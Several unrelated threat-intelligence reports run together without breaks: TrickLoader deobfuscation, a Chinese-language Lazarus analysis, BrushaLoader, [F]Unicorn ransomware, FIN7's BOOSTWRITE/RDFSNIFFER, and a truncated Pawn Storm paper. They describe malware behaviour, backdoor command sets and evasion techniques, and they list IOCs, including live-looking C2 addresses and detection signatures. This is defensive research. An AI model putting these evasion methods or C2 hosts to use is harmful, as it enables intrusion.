# Revealing the Trick | A Deep Dive into TrickLoader Obfuscation **Jason Reaves** Within the TrickBot framework, there has historically been a loader component. This loader has had continued development over the years since TrickBot’s first release where the ECS key and bot binary were stored in the resource section of the loader. However, the function obfuscation has received relatively little treatment until now. ## Executive Summary - TrickBot developers have continued to be active over the years. - Loader used by TrickBot has had continued development related to obfuscation for anti-analysis. - The TrickLoader leverages ‘minilzo’ compression, which comes from the LZO library and its usage by these developers dates back to Dyre/Upatre timeframe. - The goal is to detail the loader and aid additional automation efforts to process the TrickLoader. ## Research Insight TrickLoader obfuscation development timeline: - 1/9/2017 – Started obfuscating the resource section name - 2017 – Custom base64 of strings - 2018 – Adds user account control (UAC) bypass, Heaven’s Gate, function obfuscation and further hiding the configuration Most of these have been reported on in detail with the exception of the function obfuscation, which has been mentioned but not really detailed. Researchers who write scripts for config retrieval have stopped putting them out as frequently as in the past, possibly due to the increased focus by TrickBot to obfuscate and hide the data. Let’s dive into the obfuscation. The function offsets are stored in a table. The first thing the loader does is execute a call over that table that will push the address of the table onto the stack for the next block of code to use. The next section will then process the word values from the table in sequence by adding them to a value which is initially the start address of the table and then being pushed onto the stack. Reconstructing this process into Python code allows us to create the same table as long as we can recover certain values from the binary. After the function table is rebuilt, a call is made to one of the functions that is responsible for decoding out the other functions and data blobs. The function decodes the next function. The key is the last value in the rebuilt table address with 0x18 added to it, and the length of the key is 0x327 bytes. Using this we should be able to decode out all the addresses in the rebuilt table. After decoding all the objects, we can check the sizes of each by printing out the size of every element of the decoded_data list. Most of them look normal; however, there are a few that seem larger than what you would normally observe in the size of a single function. These larger decoded objects are actually compressed data. It turns out there are at least 3 compressed objects: a 32-bit TrickBot binary, a large blob of 64-bit bytecode which is the 64-bit TrickBot binary, and a smaller 64-bit EXE file which is a loader for the 64-bit bytecode blob. The compression is ‘minilzo’, which comes from the LZO library, and its usage by these developers dates back to Dyre/Upatre timeframe. After decompressing the 32-bit binary and fixing the missing ‘MZ’, we have the 32-bit TrickBot binary. Now that we have the normal TrickBot binary, we can decode out the onboard configuration data which is hidden and XOR encoded inside the bot now. Taking an existing decoder from CAPE and adjusting it a bit while adding in our deobfuscation works well! ## Indicators of Compromise (IOCs) SHA-256: ac27e0944ce794ebbb7e5fb8a851b9b0586b3b674dfa39e196a8cd47e9ee72b2 ``` <mcconf> <ver>1000480</ver> <gtag>tot598</gtag> <servs> <srv>144.91.79.9:443</srv> <srv>172.245.97.148:443</srv> <srv>85.204.116.139:443</srv> <srv>185.62.188.117:443</srv> <srv>185.222.202.76:443</srv> <srv>144.91.79.12:443</srv> <srv>185.68.93.43:443</srv> <srv>195.123.238.191:443</srv> <srv>146.185.219.29:443</srv> <srv>195.133.196.151:443</srv> <srv>91.235.129.60:443</srv> <srv>23.227.206.170:443</srv> <srv>185.222.202.192:443</srv> <srv>190.154.203.218:449</srv> <srv>178.183.150.169:449</srv> <srv>200.116.199.10:449</srv> <srv>187.58.56.26:449</srv> <srv>177.103.240.149:449</srv> <srv>81.190.160.139:449</srv> <srv>200.21.51.38:449</srv> <srv>181.49.61.237:449</srv> <srv>46.174.235.36:449</srv> <srv>36.89.85.103:449</srv> <srv>170.233.120.53:449</srv> <srv>89.228.243.148:449</srv> <srv>31.214.138.207:449</srv> <srv>186.42.98.254:449</srv> <srv>195.93.223.100:449</srv> <srv>181.112.52.26:449</srv> <srv>190.13.160.19:449</srv> <srv>186.71.150.23:449</srv> <srv>190.152.4.98:449</srv> <srv>170.82.156.53:449</srv> <srv>131.161.253.190:449</srv> <srv>200.127.121.99:449</srv> <srv>45.235.213.126:449</srv> <srv>31.128.13.45:449</srv> <srv>181.10.207.234:449</srv> <srv>201.187.105.123:449</srv> <srv>201.210.120.239:449</srv> <srv>190.152.125.22:449</srv> <srv>103.69.216.86:449</srv> <srv>128.201.174.107:449</srv> <srv>101.108.92.111:449</srv> <srv>190.111.255.219:449</srv> </servs> </mcconf> ``` ## References 1. Fidelis Security - TrickBot: We Missed You Dyre 2. Hexacorn - Heaven’s Gate and a Chameleon Code x86/x64 3. Oberhumer - LZO 4. GitHub - CAPE 5. Sysopfb - TrickBot UACME
# 疑似Lazarus组织利用大宇造船厂为相关诱饵的系列攻击活动 ## 概述 Lazarus APT组织是疑似具有东北亚背景的APT团伙,该组织攻击活动最早可追溯到2007年,其早期主要针对韩国、美国等政府机构,以窃取敏感情报为目的。自2014年后,该组织开始针对全球金融机构、虚拟货币交易所等为目标,进行以敛财为目的的攻击活动。公开情报显示,2014年索尼影业遭黑客攻击事件,2016年孟加拉国银行数据泄露事件,2017年美国国防承包商、美国能源部门及英国、韩国等比特币交易所被攻击等事件都出自Lazarus之手。 近日,奇安信红雨滴团队使用内部高价值样本狩猎流程捕获多个Lazarus组织新攻击样本,此类样本以东亚某知名造船厂(大宇造船:Daewoo Shipbuilding)、居民登记表等信息为诱饵,采用bmp文件隐藏RAT的方式进行载荷隐藏。 ## 样本信息 捕获的样本均是韩语相关诱饵,都采用类似的VBA脚本进行攻击,样本信息如下: | 文件名 | MD5 | |----------------------------|---------------------------------------| | 참가신청서양식.doc | ed9aa858ba2c-4671ca373496a4dd05d4 | | 결의대회초안.doc | d5e974a3386fc99d2932756ca165a451 | | 생활비지급.doc | 71759cca8c700646b4976b19b9abd6fe | 受害者启用宏后,将展示诱饵文档信息迷惑受害者,诱饵包括东亚某造船厂收购、居民登记表等相关信息。 我们以MD5为d5e974a3386fc99d2932756ca165a451的样本进行分析。 - **MD5**: d5e974a3386fc99d2932756ca165a451 - **文件名**: 결의대회초안.doc - **创建时间**: 2021-03-31 00:01:00 - **创建者**: William 文件名中文原意为决议会议草案。诱导用户点击按钮,则会执行宏代码。启用宏,将展示诱饵信息内容,诱饵信息是关于韩国出售大宇造船厂给现代重工的相关言论。 宏使用MsgBoxOKCancel函数会进行弹窗,并收集用户点击结果。如果用户点击yes的话,会进行后续的载荷解密释放。使用base64将代码中所需字符进行解码。将image003.png转换为bmp格式进行解密,然后使用mshta运行其中的js代码。 从binwalk中可看见image003.png存在Zlib压缩数据。BMP文件中包含HTA文件。解压缩后的JS代码包含OpenTextFile、CreateTextFile、fromCharCode、Close、Write、C:/Users/Public/Downloads/Winvoke.exe等值。当脚本执行时,会去解析第一个数组获取索引值。同时使用CreateTextFile创建Winvoke.exe,将“MZ”写入。然后通过fromCharCode将data数组转换为字符串,写入Winvoke.exe中。最后Wscript.Run执行落地的载荷。 - **MD5**: f4d46629ca15313b94992f3798718df7 - **文件名**: Winvoke.exe 释放执行的Winvoke.exe是一个加载器,主要功能为内存解密并加载后续远控文件。程序运行后会使用密钥通过异或解密.KDATA的后续字段。解密后的数据是一个可执行文件,解密完成后将跳转到该文件中执行。 解密加载的可执行文件信息如下: - **MD5**: 7d7ad10a5d9fa1789b9a918625dbfe35 - **时间戳**: 2020-11-24, 20:18:03 执行后,首先创建Microsoft32互斥量,保持单一进程执行。获取函数地址,使用了MicrosoftCorporationValidation@#$%^&*()!US作为S盒的Rivest Cipher 4解密。 解密函数如下: 利用python还原解密函数逻辑。将该文件通过com接口shellLink在开机启动文件夹中创建“Visor 2010 Launcher.lnk”的指定快捷方式,实现持久化。 与C2进行通信,获取命令执行。与C2成功建立通信后,将从返回数据中读取指令并执行。 ## 该后门支持的指令功能介绍如下表所示 | 指令码 | 功能 | |--------|----------------------------| | 8888 | 下载执行 | | 9876 | 退出程序 | | 9999 | 命令执行(创建线程,通过cmd执行命令) | | 8877 | 下载文件 | | 1111 | 更改休眠时间 | | 1234 | 创建线程内存加载执行代码 | | 3333 | 删除自身 | | 4444 | 关机 | ## 溯源关联 奇安信威胁情报中心红雨滴团队结合威胁情报中心ALPHA威胁分析平台,对此次攻击活动的手法、恶意代码等方面关联分析发现:此次攻击活动与Lazarus组织样本存在高度相似性。该样本与ed9aa858ba2c-4671ca373496a4dd05d4和d5e974a3386fc99d2932756ca165a451中使用的宏和第二阶段内存载入的木马存在一致性。同时该样本的RAT为更全功能的版本,增加了移动自身到开机自启文件夹的功能,实现了持久化。该样本使用的加密算法与之前Lazarus使用的BISTROMATH RAT的加密算法有一定的相似度。 ## 总结 此次捕获的样本主要针对东亚地区开展攻击活动,暂未发现影响国内用户,但防范之心不可无。奇安信威胁情报中心再次提醒各企业用户,加强员工的安全意识培训是企业信息安全建设中最重要的一环。如有需要,企业用户可以建设态势感知,完善资产管理及持续监控能力,并积极引入威胁情报,以尽可能防御此类攻击。 目前,基于奇安信威胁情报中心的威胁情报数据的全线产品,包括威胁情报平台(TIP)、天眼高级威胁检测系统、NGSOC、奇安信态势感知等,都已经支持对此APT攻击团伙攻击活动的精准检测。 ## IOCs - d5e974a3386fc99d2932756ca165a451 - f4d46629ca15313b94992f3798718df7 - 0ecfa51cd4bf1a9841a07bdb5bfcd0ab - ed9aa858ba2c-4671ca373496a4dd05d4 - 71759cca8c700646b4976b19b9abd6fe - 118cfa75e386ed45bec297f8865de671 - 53648bf8f0121130edb42c626d7c2fc-4 - 4d30612a928faf7643b14bd85d8433cc - 0812ce08a75e5fc774a114436e88cd06 - 1bb267c96ec2925f6ae3716d831671cf 本文作者:,转载请注明来自FreeBuf.COM # APT组织 # Lazarus # 东亚地区
# BrushaLoader Still Sweeping Up Victims One Year Later **July 22, 2019** **Kafeine and the Proofpoint Threat Insight Team** ## Overview BrushaLoader is one of a growing group of downloaders frequently employed by threat actors to profile infected PCs and then load more robust payloads on devices of interest. Malware like BrushaLoader contributes to the ongoing trend of “quality over quantity” infections and enables threat actors to better stay under the radar than they can with highly disruptive infections like ransomware or when distributing massive malicious spam campaigns with high-profile malware as their primary payload. At the same time, these loaders can also deliver those same disruptive infections if threat actors choose to load ransomware as secondary payloads, a scenario we have observed on multiple occasions recently. BrushaLoader itself first appeared in June 2018. Now, just over a year later, we have observed the loader in a number of campaigns by prominent threat actors. We derived the name for this VisualBasic/JavaScript/PowerShell loader from the “Rusha” author of the command and control (C&C) panel. ## Analysis Immediately after executing, BrushaLoader receives a PowerShell script called "PowerEnum." PowerEnum performs extensive fingerprinting on infected devices and sends the data back to the C&C. This communication occurs over a raw TCP "parallel" channel to BrushaLoader. PowerEnum is also used to send tasks, which were originally stored on Dropbox, and more recently were hosted on Google Drive. PowerEnum is integral to BrushaLoader and shares the same C&C infrastructure. Interestingly, we also observed PowerEnum as a Fallout EK payload delivering Danabot Affid "4." ## Payloads BrushaLoader is strongly connected to the Danabot banking Trojan Affid "3." However, this connection is not exclusive as we have observed it in conjunction with other malware as well. ### Noteworthy Events - **Unusual Payload:** - Ursnif in Italy - Gootkit in Canada - Nymaim in Poland - **Unusual Spreading:** - TA544, also known as Narwhal Spider, on May 14, 2019, in a T-Mobile-themed campaign ## The C&C Panel Early in its distribution, we observed the BrushaLoader C&C panel and were surprised by the success of a “basic” campaign using compressed-VBS attachments. Despite requiring several user interactions, the actors were able to ensnare more than 4,000 computers in 36 hours. ## Conclusion Though one of many downloaders in regular use, BrushaLoader has emerged in connection with numerous secondary payloads such as DanaBot and prolific actors including TA544. We have observed it in multiple geographies and a variety of campaigns. Moreover, insights from the command and control panel suggest high infection success rates for the loader, enabling deployment of a range of payloads by actors using the malware. While loaders fail to garner headlines like high-profile ransomware attacks, they have emerged as a key element of many threat actors’ toolkits. We will continue to monitor trends around this malware family and BrushaLoader in particular. ## Acknowledgement We would like to thank @Racco42 for his multiple inputs in our tracking in the past year. ## Indicators of Compromise (IOCs) | IOC | IOC Type | Description | Date | |-------------------------------------------------------------------------------------------|---------------|--------------------|----------| | eb12ece1bb8ebaf888282db3c6c852f3e21397d60b45a694c424690b2d6fe838 | sha256 | Ursnif dropped by | 2018-08-21 | | bf70c2a22bfb0cc952b29689394e623b632f1c3371f2a6864fd26514639393aa | sha256 | Canada focused Gootkit dropped by BrushaLoader | 2018-08-02 | | a3f00f3b77faed13f24c8d572fe59ac38a2467449a60a1b9dc1c64baeb145b0a | sha256 | PowerEnum | 2019-03-08 | | 04869bef3007a33e8bf9b14bd650e2b872daa6d2bb2b5ea35d4cb271f35d49e2 | sha256 | PowerEnum | 2019-06-19 | | d994f65735bb53dda95f7ab097e59bbd2043f8091d246bc4e21ba55ba6bda764 | sha256 | Poland focused Nymaim dropped by BrushaLoader | 2018-12-27 | | a1a6886f86ac1080d2fc3d645a8a1223209bfb1e91918d90a99b06d559ccb010 | sha256 | aced-VBS spread by TA544 | 2019-05-14 | | fees.tetofevent[.]online|210.16.101[.]169 | domain|IP | GidensTDS leading after filtering to BrushaLoader download | 2019-02-07 | | analiticap[.]info|185.203.117.63 | domain|IP | PowerEnum (dropped by Fallout) C&C | 2019-06-06 | ## ET and ETPRO Suricata/Snort Signatures - 2832054 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (OSVersion.Version) - 2832055 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (GetCurrent User) - 2832053 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (Win32 Get-WmiObject) - 2833475 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (Win32_ComputerSystem) - 2833477 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (System Language) - 2833476 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (OS Install Date) - 2833478 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (Win32_VideoController) - 2833472 || ETPRO CURRENT_EVENTS PowerShell Downloader Saving Payload to AppData Inbound Over Raw TCP - 2834482 || ETPRO TROJAN PowerEnum Sending Base64 Payload Part 1 - 2834483 || ETPRO TROJAN PowerEnum Sending Base64 Payload Part 2 - 2833473 || ETPRO CURRENT_EVENTS PowerShell Loader with Wide Base64 Encoded Stage 2 Inbound Over Raw TCP
# New [F]Unicorn Ransomware Hits Italy via Fake COVID-19 Infection Map A new ransomware threat called [F]Unicorn has been encrypting computers in Italy by tricking victims into downloading a fake contact tracing app that promises to bring real-time updates for COVID-19 infections. The attacker used convincing social engineering that made it look like the malicious executable was delivered by the Italian Pharmacist Federation (FOFI). ## Powerful Social Engineering On Monday, the Computer Emergency Response Team (CERT) from the Agency for Digital Italy (AgID) released an advisory about an indigenous ransomware threat called [F]Unicorn that spreads through the country. It lands on the victim system under the guise of the contact tracing app Immuni for mobile devices, which the Italian government announced would be released at the end of the month. CERT-AgID received a sample of the malware from security researcher JamesWT_MHT and analyzed it along with the social engineering technique that deceives users into downloading and installing the ransomware. Users are lured with an email in Italian informing that a beta release of Immuni for PC is available to fight the spread of COVID-19. From the text of the message, the targets are pharmacies, universities, doctors, and other entities fighting the new coronavirus contagion. The attacker also cloned the FOFI website and registered a domain name similar to the original. However, they used “fofl.it“ with a lowercase ”L“ as the last character that is easily confused with the lowercase ‘i’ used in the legitimate domain name. An email sample from tech consultant Dottor Marc shows that the message ends with download links and contact information that combines email addresses from the attacker and FOFI. When executed, the malware shows a fake dashboard with COVID-19 information allegedly from the Center for Systems Science and Engineering at Johns Hopkins University. While users are watching the map, the [F]Unicorn starts encrypting data on the system. According to analysis published by CERT AgID, the malware scans the following directories for specific file types: /Desktop, /Links, /Contacts, /Documents, /Downloads, /Pictures, /Music, /OneDrive, /Saved Games, /Favorites, /Searches, and /Videos. The file types include .Txt, .jar, .exe, .dat, .contact, .settings, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .odt, .jpg, .png, .csv, .py, .sql, .mdb, .sln, .php, .asp, .aspx, .html, .htm, .xml, .psd, .pdf, .dll, .c, .cs, .mp3, .mp4, .f3d, .dwg, .cpp, .zip, .rar, .mov, .rtf, .bmp, .mkv, .avi, .apk, .lnk, .iso, .7-zip, .ace, .arj, .bz2, .cab, .gzip, .lzh, .tar, .uue, .xz, .z, .001, .mpeg, .mp3, .mpg, .core, .crproj, .pdb, .ico, .pas, .db, .torrent. Files encrypted with [F]Unicorn get a new extension. Users learn that their files have been locked from a ransom note written in Italian, which indicates an Italian author. The ransom note asks victims to pay EUR 300 in three days or the data would be lost. A bitcoin address is provided along with an email address to contact the attacker with the proof of the payment. There are no transactions recorded for the given wallet. Translated, the ransom note reads: *The long snake on Asceplio's staff has rebelled, and a new era is about to come! This is your chance to redeem yourself after years of sins and abuses. It's up to you to choose. Within 3 days the pledge to pay you will have to or the fire of Prometheus will cancel your data just as it has wiped out the power of Gods over men. The pledge is only 300 euros, to be paid with Bitcoins at the following address: 195naAM74WpLtGHsKp9azSsXWmBCaDscxJ after you have paid, an email to send us you will. [email protected] the transaction code will be the proof. After the paid pledge you will receive the solution to put out Prometheus' fire. Go from police or calling technicians will be of no use, no human being can help you.* According to CERT-AgID, the password for encrypting the files is sent in clear text to the attacker, so it can be retrieved from the network traffic logs. Dottor Marc says that [F]Unicorn is the work of a novice attacker with little technical knowledge, who used the code from a previously seen ransomware. Their analysis also shows that the email address in the ransom note is invalid, so there is no possibility to send the attacker the payment proof. This is another reason for victims not to pay. Security researcher MalwareHunterTeam told BleepingComputer that it is heavily based on Hidden Tear. The author made some changes here and there, one component being the panel, where CSS and HTML code was modified.
# Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques **Nick Carr, Josh Yoder, Kimberly Goody, Scott Runnels, Jeremy Kennelly, Jordan Nuce** **Oct 10, 2019** **11 mins read** During several recent incident response engagements, FireEye Mandiant investigators uncovered new tools in FIN7’s malware arsenal and kept pace as the global criminal operators attempted new evasion techniques. In this blog, we reveal two of FIN7’s new tools that we have called BOOSTWRITE and RDFSNIFFER. The first of FIN7's new tools is BOOSTWRITE – an in-memory-only dropper that decrypts embedded payloads using an encryption key retrieved from a remote server at runtime. FIN7 has been observed making small changes to this malware family using multiple methods to avoid traditional antivirus detection, including a BOOSTWRITE sample where the dropper was signed by a valid Certificate Authority. One of the analyzed BOOSTWRITE variants contained two payloads: CARBANAK and RDFSNIFFER. While CARBANAK has been thoroughly analyzed and has been used maliciously by several financial attackers including FIN7, RDFSNIFFER is a newly-identified tool recovered by Mandiant investigators. RDFSNIFFER, a payload of BOOSTWRITE, appears to have been developed to tamper with NCR Corporation's “Aloha Command Center” client. NCR Aloha Command Center is a remote administration toolset designed to manage and troubleshoot systems within payment card processing sectors running the Command Center Agent. The malware loads into the same process as the Command Center process by abusing the DLL load order of the legitimate Aloha utility. Mandiant provided this information to NCR. ## BOOSTWRITE Loader: Where You At? BOOSTWRITE is a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate ‘Dwrite.dll’ provided by the Microsoft DirectX Typography Services. The application loads the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads ‘Dwrite’. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll. Once loaded, `DWrite.dll` connects to a hard-coded IP and port from which it retrieves a decryption key and initialization vector (IV) to decrypt two embedded payload DLLs. To accomplish this task, the malware first generates a random file name to be used as a text log under the current user's %TEMP% directory; this filename starts with ~rdf and is followed by a set of random numbers. Next, the malware scans its own image to find the location of a 32-byte long multi-XOR key which is used to decode data inside its body. Part of the decoded data is an IP address and port which are used to retrieve the key and the IV for the decryption of the embedded payloads. The encryption algorithm uses the ChaCha stream cipher with a 256-bit key and 64-bit IV. Once the key and the IV are downloaded, the malware decrypts the embedded payloads and performs sanity checks on the results. The payloads are expected to be PE32.DLLs which, if the tests pass, are loaded into memory without touching the filesystem. The malware logs various plaintext messages to the previously created logfile %TEMP%\~rds<rnd_numbers> which are indicative of the loader’s execution progress. An example of the file content is shown below: ``` Loading... Starting... Init OK Key OK Data: 4606941 HS: 20 K:[32] V:[8] DCnt: 732642317(ERR) ``` Before exiting, the malware resolves the location of the benign DWrite.dll library and passes the execution control to its DWriteCreateFactory method. The malware decrypts and loads two payload DLLs. One of the DLLs is an instance of the CARBANAK backdoor; the other DLL is a tool tracked by FireEye as RDFSNIFFER which allows an attacker to hijack instances of the NCR Aloha Command Center Client application and interact with victim systems via existing legitimate 2FA sessions. ## RDFSNIFFER Module: We Smell a RAT RDFSNIFFER is a module loaded by BOOSTWRITE which allows an attacker to monitor and tamper with legitimate connections made via NCR Corporation’s ‘Aloha Command Center Client’ (RDFClient), an application designed to provide visibility and system management capabilities to remote IT techs. RDFSNIFFER loads into the same process as the legitimate RDFClient by abusing the utility’s DLL load order, launching each time the ‘Aloha Command Center Client’ is executed on an impacted system. When the RDFSNIFFER module is loaded by BOOSTWRITE, it hooks several Win32 API functions intended to enable it to tamper with NCR Aloha Command Center Client sessions or hijack elements of its user-interface. Furthermore, this enables the malware to alter the user’s last input time to ensure application sessions do not time out. | Win32 API Function | Hook Description | |-----------------------------------------|---------------------------------------------------| | CertVerifyCertificateChainPolicy | Used to man-in-the-middle SSL sessions | | CertGetCertificateChain | Used to man-in-the-middle SSL sessions | | WSAConnect | Used to man-in-the-middle socket connections | | connect | Used to man-in-the-middle socket connections | | ConnectEx | Used to man-in-the-middle socket connections | | DispatchMessageW | Used to hijack the utility's UI | | DispatchMessageA | Used to hijack the utility's UI | | DefWindowProcW | Used to hijack the utility's UI | | DefWindowProcA | Used to hijack the utility's UI | | GetLastInputInfo | Used to change the user's last input time (to avoid timed lock outs) | This module also contains a backdoor component that enables it to inject commands into an active RDFClient session. This backdoor allows an attacker to upload, download, execute and/or delete arbitrary files. | Command | Legit Function in RDFClient | RDFClient Command ID | Description | |----------------------|-----------------------------|----------------------|--------------------------------------| | Upload | FileMgrSendFile | 107 | Uploads a file to the remote system | | Download | FileMgrGetFile | 108 | Retrieves a file from the remote system | | Execute | RunCommand | 3001 | Executes a command on the remote system | | DeleteRemote | FileMgrDeleteFile | 3019 | Deletes file on remote system | | DeleteLocal | - | - | Deletes a local file | ## Signed: Yours Truly, FIN7 While the majority of BOOSTWRITE variants recovered from investigations have been unsigned, Mandiant identified a signed BOOSTWRITE sample used by FIN7 during a recent investigation. Following that discovery, a signed BOOSTWRITE sample was uploaded to VirusTotal on October 3. This executable uses a code signing certificate issued by MANGO ENTERPRISE LIMITED. | MD5 | Organization | Country | Serial | |---------------------------------------|------------------------------|---------|---------------------------------| | a67d6e87283c34459b4660f19747a306 | mango ENTERPRISE LIMITED | GB | 32 7F 8F 10 74 78 42 4A BE B8 2A 85 | | | | | DC 36 57 03 CC 82 70 5B | This indicates the operators may be actively altering this malware to avoid traditional detection mechanisms. Notably, the signed BOOSTWRITE sample had a 0/68 detection ratio when it was uploaded to VirusTotal, demonstrating the effectiveness of this tactic. Use of a code signing certificate for BOOSTWRITE is not a completely new technique for FIN7 as the group has used digital certificates in the past to sign their phishing documents, backdoors, and later stage tools. By exploiting the trust inherently provided by code certificates, FIN7 increases their chances of bypassing various security controls and successfully compromising victims. The full evasion achieved against the detection engines deployed to VirusTotal illustrates that FIN7’s methods were effective in subverting both traditional detection and ML binary classification engines. ## Outlook and Implications While these incidents have also included FIN7’s typical and long-used toolsets, such as CARBANAK and BABYMETAL, the introduction of new tools and techniques provides further evidence FIN7 is continuing to evolve in response to security enhancements. Further, the use of code signing in at least one case highlights the group's judicious use of resources, potentially limiting their use of these certificates to cases where they have been attempting to bypass particular security controls. Barring any further law enforcement actions, we expect at least a portion of the actors who comprise the FIN7 criminal organization to continue conducting campaigns. As a result, organizations need to remain vigilant and continue to monitor for changes in methods employed by the FIN7 actors. ## Sigs Up Dudes! Indicators, Toolmarks, and Detection Opportunities While FireEye does not release our production detection logic for the code families, this section does contain some identification and hunting concepts that we adopt in our layered detection strategy. | Type | Indicator(s) | |-----------------------------------|--------------------------------------------------------------------------------------------------| | BOOSTWRITE (signed) | MD5: a67d6e87283c34459b4660f19747a306 <br> SHA-1: a873f3417d54220e978d0ca9ceb63cf13ec71f84 <br> SHA-256: 18cc54e2fbdad5a317b6aeb2e7db3973cc5ffb01bbf810869d79e9cb3bf02bd5 <br> C2: 109.230.199[.]227 | | BOOSTWRITE (unsigned) | MD5: af2f4142463f42548b8650a3adf5ceb2 <br> SHA1: 09f3c9ae382fbd29fb47ecdfeb3bb149d7e961a1 <br> SHA256: 8773aeb53d9034dc8de339651e61d8d6ae0a895c4c89b670d501db8dc60cd2d0 <br> C2: 109.230.199[.]227 | The signed BOOSTWRITE sample has a PE Authenticode anomaly that can be detected using Yara’s PE signature module. Specifically, the PE linker timestamp is prior to the Authenticode validity period. | Timestamp | Description | |-----------------------------------|-------------------------------------------------------------------------------------------------| | 2019-05-20 09:50:55 UTC | Signed BOOSTWRITE’s PE compilation time | | 2019-05-22 00:00 UTC | Signed BOOSTWRITE’s “mango ENTERPRISE LIMITED” certificate validity window through 2020-05-21 23:59 UTC | A public example of a Yara rule covering this particular PE Authenticode timestamp anomaly is available in a blog post from David Cannings. ``` pe.number_of_signatures > 0 and not for all i in (0..pe.number_of_signatures - 1): pe.signatures[i].valid_on(pe.timestamp) ``` There are other PE Authenticode anomalies that can also be represented as Yara rules to surface similarly suspicious files. Of note, this signed BOOSTWRITE sample has no counter signature and, while the unauthenticated attributes timestamp structure is present, it is empty. To account for the detection weaknesses introduced by techniques like code signing, our Advanced Practices team combines the malicious confidence spectrum that comes from ML detection systems with file oddities and anomalies (weak signals) to surface highly interesting and evasive malware. ## Don’t Sweat the Techniques – MITRE ATT&CK Mappings ### BOOSTWRITE | ID | Tactic | BOOSTWRITE Context | |-----------|--------------------------------|--------------------------------------------------------------------------------------------------------| | T1022 | Data Encrypted | BOOSTWRITE encodes its payloads using a ChaCha stream cipher with a 256-bit key and 64-bit IV to evade detection | | T1027 | Obfuscated Files or Information| BOOSTWRITE encodes its payloads using a ChaCha stream cipher with a 256-bit key and 64-bit IV to evade detection | | T1038 | DLL Search Order Hijacking | BOOSTWRITE exploits the applications’ loading of the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads the local ‘Dwrite’ dll | | T1116 | Code Signing | BOOSTWRITE variants were observed signed by a valid CA | | T1129 | Execution through Module Load | BOOSTWRITE exploits the applications’ loading of the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads the local ‘Dwrite’ dll | | T1140 | Deobfuscate/Decode Files or Information | BOOSTWRITE decodes its payloads at runtime using a ChaCha stream cipher with a 256-bit key and 64-bit IV | ### RDFSNIFFER | ID | Tactic | RDFSNIFFER Context | |-----------|------------------|--------------------------------------------------------------------------------------------------------| | T1106 | Execution through API | RDFSNIFFER hooks several Win32 API functions intended to enable it to tamper with NCR Aloha Command Center Client sessions or hijack elements of its user-interface | | T1107 | File Deletion | RDFSNIFFER has the capability of deleting local files | | T1179 | Hooking | RDFSNIFFER hooks several Win32 API functions intended to enable it to tamper with NCR Aloha Command Center Client sessions or hijack elements of its user-interface | ## Acknowledgements The authors want to thank Steve Elovitz, Jeremy Koppen, and the many Mandiant incident responders that go toe-to-toe with FIN7 regularly, quietly evicting them from victim environments. We appreciate the thorough detection engineering from Ayako Matsuda and the reverse engineering from FLARE’s Dimiter Andonov, Christopher Gardner, and Tyler Dean. A special thanks to FLARE’s Troy Ross for the development of his PE Signature analysis service and for answering our follow-up questions. Shout out to Steve Miller for his hot fire research and Yara anomaly work. And lastly, the rest of the Advanced Practices team for both the unparalleled front-line FIN7 technical intelligence expertise and MITRE ATT&CK automated mapping project – with a particular thanks to Regina Elwell and Barry Vengerik.
# Two Years of Pawn Storm ## Examining an Increasingly Relevant Threat ### Feike Hacquebord Pawn Storm is an active cyber espionage actor group that has been very aggressive and ambitious in recent years. The group’s activities show that foreign and domestic espionage and influence on geopolitics are the group’s main motives, and not financial gain. Its main targets are armed forces, the defense industry, news media, politicians, and dissidents. We can trace activities of Pawn Storm back to 2004, and before our initial report in 2014, there wasn’t much published about this actor group. However, since then we have released more than a dozen detailed posts on Pawn Storm. This new report is an updated dissection of the group’s attacks and methodologies—something to help organizations gain a more comprehensive and current view of these processes and what can be done to defend against them. Pawn Storm is becoming increasingly relevant particularly because it is doing more than just espionage activities. In 2016, the group attempted to influence public opinion, to influence elections, and sought contact with mainstream media with some success. Now the impact of these malicious activities can be felt by various industries and enterprises operating throughout the world. Even average citizens of different countries might be affected as Pawn Storm tries to manipulate people’s opinions about domestic and international affairs. The attacks of Pawn Storm may even serve as an example for other actors, who could copy tactics and repurpose them to fit their own objectives. As we look at Pawn Storm’s operations over a two-year period, we can see how the group has become more adept at manipulating events and public opinion through the gathering and controlled release of information. Many events—like their involvement in the Democratic National Convention hack—have been covered extensively. The group’s cyber propaganda methods—using electronic means to influence opinion—create problems on multiple levels. Aside from manipulating the public, their operations also discredit political figures and disrupt the established media. The proliferation of fake news and fake news accusations in 2017 can in part be attributed to constant information leaks and manipulations by malicious actors. Media sources have already confirmed that Pawn Storm offered them exclusive peeks at high-impact information, presumably in an attempt to skew public perception on a certain topic or person. In this paper, we take a deeper look at the facts we have compiled and delve into the variety of attacks that the group is using. Pawn Storm is known for its sophisticated social engineering lures, efficient credential phishing, zero days, a private exploit kit, an effective set of malware, false flag operations, and campaigns to influence public opinion about political issues. At its core, Pawn Storm—also known as Sednit, Fancy Bear, APT28, Sofacy, and STRONTIUM—is still a persistent cyber espionage actor group. The actors often attack the same target from different sides, using multiple methods to reach their goals. It generally relies on practiced techniques, specifically when it comes to phishing. Credential phishing has been a key part of many compromises done by Pawn Storm in recent years and we were the first to describe them in detail from 2014 and onwards. We start this paper with a section on false flag operations and a rundown of Pawn Storm’s attempts to influence public opinion. The second section focuses on different methods used to attack free and corporate webmail—mostly through sophisticated phishing tactics. The third section details Pawn Storm’s campaigns that we tracked over the years, and lists their intended targets. The next section covers their preferred attacks, facilitators, and also their attitude towards their own operational security. And lastly, we give some guidelines on how to defend against Pawn Storm. ## False Flag Operations Pawn Storm uses a variety of tactics to collect information from their identified targets—often through credential phishing. Some of the information is then leaked on websites that are specifically designed to display stolen data. More than once Pawn Storm disguised itself as “hacktivists” or whistleblowers motivated by some agenda. ### Operating Under Alternative Fronts After Pawn Storm breached the World Anti-Doping Agency (WADA) and the Court of 